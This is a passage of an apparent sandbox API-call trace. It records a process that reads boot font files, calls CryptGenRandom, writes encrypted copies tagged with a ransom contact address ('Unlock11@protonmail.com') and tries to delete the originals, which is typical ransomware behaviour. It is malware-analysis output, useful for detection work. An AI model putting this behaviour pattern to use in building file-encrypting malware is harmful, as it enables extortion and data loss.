dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0117.213] GetFileType (hFile=0x39c) returned 0x1 [0117.213] GetLastError () returned 0x0 [0117.213] GetCurrentThreadId () returned 0x9b0 [0117.213] GetLastError () returned 0x0 [0117.213] GetFileType (hFile=0x39c) returned 0x1 [0117.214] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0117.214] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0117.214] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0117.214] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0117.214] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0117.214] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0117.214] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0117.214] GetLastError () returned 0x0 [0117.214] GetCurrentThreadId () returned 0x9b0 [0117.214] GetLastError () returned 0x0 [0117.214] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6ae8 | out: hHeap=0x2ad0000) returned 1 [0117.214] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea728 | out: hHeap=0x2ad0000) returned 1 [0117.215] GetLastError () returned 0x0 [0117.215] GetLastError () returned 0x0 [0117.215] GetLastError () returned 0x0 [0117.215] GetLastError () returned 0x0 [0117.215] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881138 | out: hHeap=0x2ad0000) returned 1 [0117.215] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6ae8 [0117.215] GetLastError () returned 0x0 [0117.215] CreateFileA (lpFileName="C:\\Boot\\Fonts\\msyh_boot.ttf.[Unlock11@protonmail.com].enc" (normalized: "c:\\boot\\fonts\\msyh_boot.ttf.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0117.216] GetFileType (hFile=0x3ac) returned 0x1 [0117.216] GetLastError () returned 0x0 [0117.216] GetCurrentThreadId () returned 0x9b0 [0117.217] GetLastError () returned 0x0 [0117.217] GetFileType (hFile=0x3ac) returned 0x1 [0117.217] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0117.217] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0117.217] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0117.217] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0117.217] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0117.217] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0117.217] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0117.217] GetLastError () returned 0x0 [0117.217] GetCurrentThreadId () returned 0x9b0 [0117.217] GetLastError () returned 0x0 [0117.218] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6ae8 | out: hHeap=0x2ad0000) returned 1 [0117.218] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38874a0 | out: hHeap=0x2ad0000) returned 1 [0117.218] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881090 [0117.218] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881090 | out: hHeap=0x2ad0000) returned 1 [0117.218] GetLastError () returned 0x0 [0117.218] GetLastError () returned 0x0 [0117.218] GetCurrentThreadId () returned 0x9b0 [0117.218] GetLastError () returned 0x0 [0117.218] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0117.218] GetLastError () returned 0x0 [0117.218] GetLastError () returned 0x0 [0117.218] GetCurrentThreadId () returned 0x9b0 [0117.219] GetLastError () returned 0x0 [0117.219] GetLastError () returned 0x0 [0117.220] GetLastError () returned 0x0 [0117.221] GetCurrentThreadId () returned 0x9b0 [0117.221] GetLastError () returned 0x0 [0117.221] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6a68 | out: hHeap=0x2ad0000) returned 1 [0117.221] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0117.221] GetLastError () returned 0x0 [0117.221] GetLastError () returned 0x0 [0117.222] GetLastError () returned 0x0 [0117.222] GetLastError () returned 0x0 [0117.222] GetCurrentThreadId () returned 0x9b0 [0117.222] GetLastError () returned 0x0 [0117.222] GetCurrentThreadId () returned 0x9b0 [0117.222] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0117.222] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0117.222] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881228 [0117.222] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0117.222] GetLastError () returned 0x0 [0117.224] GetLastError () returned 0x0 [0117.224] GetCurrentThreadId () returned 0x9b0 [0117.224] GetLastError () returned 0x0 [0117.224] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0117.224] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0117.224] GetLastError () returned 0x0 [0117.225] GetLastError () returned 0x0 [0117.225] GetCurrentThreadId () returned 0x9b0 [0117.225] GetLastError () returned 0x0 [0117.225] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0117.226] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6a68 [0117.226] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6ae8 | out: hHeap=0x2ad0000) returned 1 [0117.226] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0117.226] GetLastError () returned 0x0 [0117.226] GetLastError () returned 0x0 [0117.226] GetLastError () returned 0x0 [0117.226] GetLastError () returned 0x0 [0117.226] GetCurrentThreadId () returned 0x9b0 [0117.226] GetLastError () returned 0x0 [0117.227] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0117.227] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881288 [0117.227] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881288 | out: hHeap=0x2ad0000) returned 1 [0117.227] GetLastError () returned 0x0 [0117.228] GetLastError () returned 0x0 [0117.228] GetCurrentThreadId () returned 0x9b0 [0117.228] GetLastError () returned 0x0 [0117.228] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0117.228] GetCurrentThreadId () returned 0x9b0 [0117.228] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0117.228] GetLastError () returned 0x0 [0117.228] GetLastError () returned 0x0 [0117.229] GetCurrentThreadId () returned 0x9b0 [0117.229] GetLastError () returned 0x0 [0117.229] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0x626a) returned 0x35c5908 [0117.229] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0117.229] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0x6275) returned 0x35c5908 [0117.229] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6ae8 [0117.229] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6a68 | out: hHeap=0x2ad0000) returned 1 [0117.229] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x6278) returned 0x35cbb88 [0117.229] GetLastError () returned 0x0 [0117.229] GetLastError () returned 0x0 [0117.230] GetLastError () returned 0x0 [0117.230] GetLastError () returned 0x0 [0117.230] GetCurrentThreadId () returned 0x9b0 [0117.230] GetLastError () returned 0x0 [0117.230] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35cbb88 | out: hHeap=0x2ad0000) returned 1 [0117.230] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0117.230] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0117.230] GetLastError () returned 0x0 [0117.231] GetLastError () returned 0x0 [0117.231] GetCurrentThreadId () returned 0x9b0 [0117.231] GetLastError () returned 0x0 [0117.231] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35b89d8 | out: hHeap=0x2ad0000) returned 1 [0117.231] GetCurrentThreadId () returned 0x9b0 [0117.231] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0117.231] GetLastError () returned 0x0 [0117.231] GetLastError () returned 0x0 [0117.231] GetCurrentThreadId () returned 0x9b0 [0117.231] GetLastError () returned 0x0 [0117.232] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0117.232] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0117.232] GetLastError () returned 0x0 [0117.232] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0117.232] CloseHandle (hObject=0x3ac) returned 1 [0117.232] GetLastError () returned 0x0 [0117.232] GetCurrentThreadId () returned 0x9b0 [0117.232] GetLastError () returned 0x0 [0117.232] GetLastError () returned 0x0 [0117.233] CloseHandle (hObject=0x39c) returned 1 [0117.233] GetLastError () returned 0x0 [0117.233] GetCurrentThreadId () returned 0x9b0 [0117.233] GetLastError () returned 0x0 [0117.233] GetLastError () returned 0x0 [0117.233] GetLastError () returned 0x0 [0117.233] GetLastError () returned 0x0 [0117.233] GetLastError () returned 0x0 [0117.233] DeleteFileA (lpFileName="C:\\Boot\\Fonts\\msyh_boot.ttf" (normalized: "c:\\boot\\fonts\\msyh_boot.ttf")) returned 0 [0117.234] GetLastError () returned 0x5 [0117.234] GetCurrentThreadId () returned 0x9b0 [0117.234] GetLastError () returned 0x5 [0117.234] GetLastError () returned 0x5 [0117.234] GetLastError () returned 0x5 [0117.234] GetLastError () returned 0x5 [0117.234] LocalFree (hMem=0x1053a70) returned 0x0 [0117.234] GetLastError () returned 0x5 [0117.234] GetLastError () returned 0x5 [0117.234] GetLastError () returned 0x5 [0117.234] GetLastError () returned 0x5 [0117.235] GetFullPathNameA (in: lpFileName="C:\\Boot\\Fonts\\segmono_boot.ttf", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Boot\\Fonts\\segmono_boot.ttf", lpFilePart=0x9bada4*="segmono_boot.ttf") returned 0x1e [0117.235] GetCurrentThreadId () returned 0x9b0 [0117.235] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0117.235] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0117.235] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0117.235] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0117.235] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea728 [0117.236] GetLastError () returned 0x0 [0117.236] GetLastError () returned 0x0 [0117.236] GetLastError () returned 0x0 [0117.236] GetLastError () returned 0x0 [0117.236] GetCurrentThreadId () returned 0x9b0 [0117.236] GetLastError () returned 0x0 [0117.236] GetCurrentThreadId () returned 0x9b0 [0117.236] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea728 | out: hHeap=0x2ad0000) returned 1 [0117.236] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea728 [0117.236] GetLastError () returned 0x0 [0117.236] GetLastError () returned 0x0 [0117.237] GetLastError () returned 0x0 [0117.237] GetLastError () returned 0x0 [0117.237] GetCurrentThreadId () returned 0x9b0 [0117.237] GetLastError () returned 0x0 [0117.237] GetLastError () returned 0x0 [0117.237] GetLastError () returned 0x0 [0117.237] GetLastError () returned 0x0 [0117.237] GetLastError () returned 0x0 [0117.237] GetCurrentThreadId () returned 0x9b0 [0117.237] GetLastError () returned 0x0 [0117.237] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea728 | out: hHeap=0x2ad0000) returned 1 [0117.237] GetLastError () returned 0x0 [0117.238] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6528 | out: hHeap=0x2ad0000) returned 1 [0117.238] GetLastError () returned 0x0 [0117.238] GetLastError () returned 0x0 [0117.238] GetLastError () returned 0x0 [0117.238] GetCurrentThreadId () returned 0x9b0 [0117.238] GetLastError () returned 0x0 [0117.238] GetCurrentThreadId () returned 0x9b0 [0117.238] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x38) returned 0x2a8a9a8 [0117.238] GetLastError () returned 0x0 [0117.238] GetLastError () returned 0x0 [0117.238] GetLastError () returned 0x0 [0117.239] GetLastError () returned 0x0 [0117.239] GetCurrentThreadId () returned 0x9b0 [0117.239] GetLastError () returned 0x0 [0117.239] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a9a8 | out: hHeap=0x2ad0000) returned 1 [0117.239] GetLastError () returned 0x0 [0117.239] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6690 | out: hHeap=0x2ad0000) returned 1 [0117.239] GetLastError () returned 0x0 [0117.239] GetLastError () returned 0x0 [0117.239] GetLastError () returned 0x0 [0117.239] GetCurrentThreadId () returned 0x9b0 [0117.239] GetLastError () returned 0x0 [0117.239] GetLastError () returned 0x0 [0117.240] GetLastError () returned 0x0 [0117.240] GetLastError () returned 0x0 [0117.240] GetLastError () returned 0x0 [0117.240] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0117.240] GetFileAttributesExA (in: lpFileName="C:\\Boot\\Fonts\\segmono_boot.ttf" (normalized: "c:\\boot\\fonts\\segmono_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef96ef3e, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xaf3b)) returned 1 [0117.240] GetLastError () returned 0x0 [0117.240] GetCurrentThreadId () returned 0x9b0 [0117.240] GetLastError () returned 0x0 [0117.240] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea728 | out: hHeap=0x2ad0000) returned 1 [0117.241] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36689e4 | out: pbBuffer=0x36689e4) returned 1 [0117.241] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0117.241] GetCurrentThreadId () returned 0x9b0 [0117.241] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34ac7c0 [0117.241] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622750 | out: hHeap=0x2ad0000) returned 1 [0117.241] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea728 [0117.241] GetLastError () returned 0x0 [0117.241] GetLastError () returned 0x0 [0117.241] GetLastError () returned 0x0 [0117.241] GetLastError () returned 0x0 [0117.242] GetCurrentThreadId () returned 0x9b0 [0117.242] GetLastError () returned 0x0 [0117.242] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea728 | out: hHeap=0x2ad0000) returned 1 [0117.242] GetCurrentThreadId () returned 0x9b0 [0117.242] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea728 [0117.242] GetLastError () returned 0x0 [0117.242] GetLastError () returned 0x0 [0117.242] GetLastError () returned 0x0 [0117.242] GetLastError () returned 0x0 [0117.242] GetCurrentThreadId () returned 0x9b0 [0117.242] GetLastError () returned 0x0 [0117.243] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea728 | out: hHeap=0x2ad0000) returned 1 [0117.243] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33f6a68 [0117.243] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34ac7c0 | out: hHeap=0x2ad0000) returned 1 [0117.243] GetCurrentThreadId () returned 0x9b0 [0117.243] GetLastError () returned 0x0 [0117.243] GetLastError () returned 0x0 [0117.243] GetLastError () returned 0x0 [0117.243] GetLastError () returned 0x0 [0117.243] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0117.243] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x32ab9b0 [0117.243] GetLastError () returned 0x0 [0117.244] CreateFileA (lpFileName="C:\\Boot\\Fonts\\segmono_boot.ttf" (normalized: "c:\\boot\\fonts\\segmono_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0117.244] GetFileType (hFile=0x39c) returned 0x1 [0117.244] GetLastError () returned 0x0 [0117.244] GetCurrentThreadId () returned 0x9b0 [0117.244] GetLastError () returned 0x0 [0117.244] GetFileType (hFile=0x39c) returned 0x1 [0117.244] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0117.244] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0117.244] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0117.244] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0117.245] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0117.245] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0117.245] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0117.245] GetLastError () returned 0x0 [0117.245] GetCurrentThreadId () returned 0x9b0 [0117.245] GetLastError () returned 0x0 [0117.245] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ab9b0 | out: hHeap=0x2ad0000) returned 1 [0117.245] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea728 | out: hHeap=0x2ad0000) returned 1 [0117.245] GetLastError () returned 0x0 [0117.245] GetLastError () returned 0x0 [0117.245] GetLastError () returned 0x0 [0117.245] GetLastError () returned 0x0 [0117.246] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0117.246] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x32ab9b0 [0117.246] GetLastError () returned 0x0 [0117.246] CreateFileA (lpFileName="C:\\Boot\\Fonts\\segmono_boot.ttf.[Unlock11@protonmail.com].enc" (normalized: "c:\\boot\\fonts\\segmono_boot.ttf.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0117.246] GetFileType (hFile=0x3ac) returned 0x1 [0117.246] GetLastError () returned 0x0 [0117.246] GetCurrentThreadId () returned 0x9b0 [0117.246] GetLastError () returned 0x0 [0117.246] GetFileType (hFile=0x3ac) returned 0x1 [0117.247] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0117.247] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0117.247] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0117.247] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0117.247] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0117.247] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0117.247] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0117.247] GetLastError () returned 0x0 [0117.247] GetCurrentThreadId () returned 0x9b0 [0117.247] GetLastError () returned 0x0 [0117.247] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ab9b0 | out: hHeap=0x2ad0000) returned 1 [0117.247] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38873c8 | out: hHeap=0x2ad0000) returned 1 [0117.247] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881240 [0117.248] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881240 | out: hHeap=0x2ad0000) returned 1 [0117.248] GetLastError () returned 0x0 [0117.248] GetLastError () returned 0x0 [0117.248] GetCurrentThreadId () returned 0x9b0 [0117.248] GetLastError () returned 0x0 [0117.248] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881138 | out: hHeap=0x2ad0000) returned 1 [0117.248] GetLastError () returned 0x0 [0117.248] GetLastError () returned 0x0 [0117.248] GetCurrentThreadId () returned 0x9b0 [0117.248] GetLastError () returned 0x0 [0117.248] GetLastError () returned 0x0 [0117.250] GetLastError () returned 0x0 [0117.250] GetCurrentThreadId () returned 0x9b0 [0117.250] GetLastError () returned 0x0 [0117.250] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0xaf50) returned 0x35c5908 [0117.250] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0xaf55) returned 0x35c5908 [0117.250] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32ab9b0 [0117.251] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6a68 | out: hHeap=0x2ad0000) returned 1 [0117.251] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0xaf58) returned 0x35b89d8 [0117.251] GetCurrentThreadId () returned 0x9b0 [0117.251] GetLastError () returned 0x0 [0117.251] GetLastError () returned 0x0 [0117.251] GetLastError () returned 0x0 [0117.251] GetLastError () returned 0x0 [0117.251] GetCurrentThreadId () returned 0x9b0 [0117.253] GetCurrentThreadId () returned 0x9b0 [0117.253] GetCurrentThreadId () returned 0x9b0 [0117.253] CloseHandle (hObject=0x3ac) returned 1 [0117.253] GetCurrentThreadId () returned 0x9b0 [0117.253] CloseHandle (hObject=0x39c) returned 1 [0117.254] GetCurrentThreadId () returned 0x9b0 [0117.254] DeleteFileA (lpFileName="C:\\Boot\\Fonts\\segmono_boot.ttf" (normalized: "c:\\boot\\fonts\\segmono_boot.ttf")) returned 0 [0117.254] GetCurrentThreadId () returned 0x9b0 [0117.254] GetFullPathNameA (in: lpFileName="C:\\Boot\\Fonts\\segoen_slboot.ttf", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Boot\\Fonts\\segoen_slboot.ttf", lpFilePart=0x9bada4*="segoen_slboot.ttf") returned 0x1f [0117.254] GetCurrentThreadId () returned 0x9b0 [0117.254] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0117.254] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0117.254] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0117.255] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0117.255] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea728 [0117.255] GetCurrentThreadId () returned 0x9b0 [0117.255] GetCurrentThreadId () returned 0x9b0 [0117.255] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea728 | out: hHeap=0x2ad0000) returned 1 [0117.255] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea728 [0117.255] GetCurrentThreadId () returned 0x9b0 [0117.255] GetCurrentThreadId () returned 0x9b0 [0117.255] GetCurrentThreadId () returned 0x9b0 [0117.255] GetCurrentThreadId () returned 0x9b0 [0117.255] GetCurrentThreadId () returned 0x9b0 [0117.256] GetCurrentThreadId () returned 0x9b0 [0117.256] GetFileAttributesExA (in: lpFileName="C:\\Boot\\Fonts\\segoen_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoen_slboot.ttf"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c0da69, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef97d9ab, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x14f66)) returned 1 [0117.256] GetCurrentThreadId () returned 0x9b0 [0117.256] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668b24 | out: pbBuffer=0x3668b24) returned 1 [0117.256] GetCurrentThreadId () returned 0x9b0 [0117.256] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0117.256] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34adba8 [0117.256] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622818 | out: hHeap=0x2ad0000) returned 1 [0117.256] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea728 [0117.257] GetCurrentThreadId () returned 0x9b0 [0117.257] GetCurrentThreadId () returned 0x9b0 [0117.257] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea728 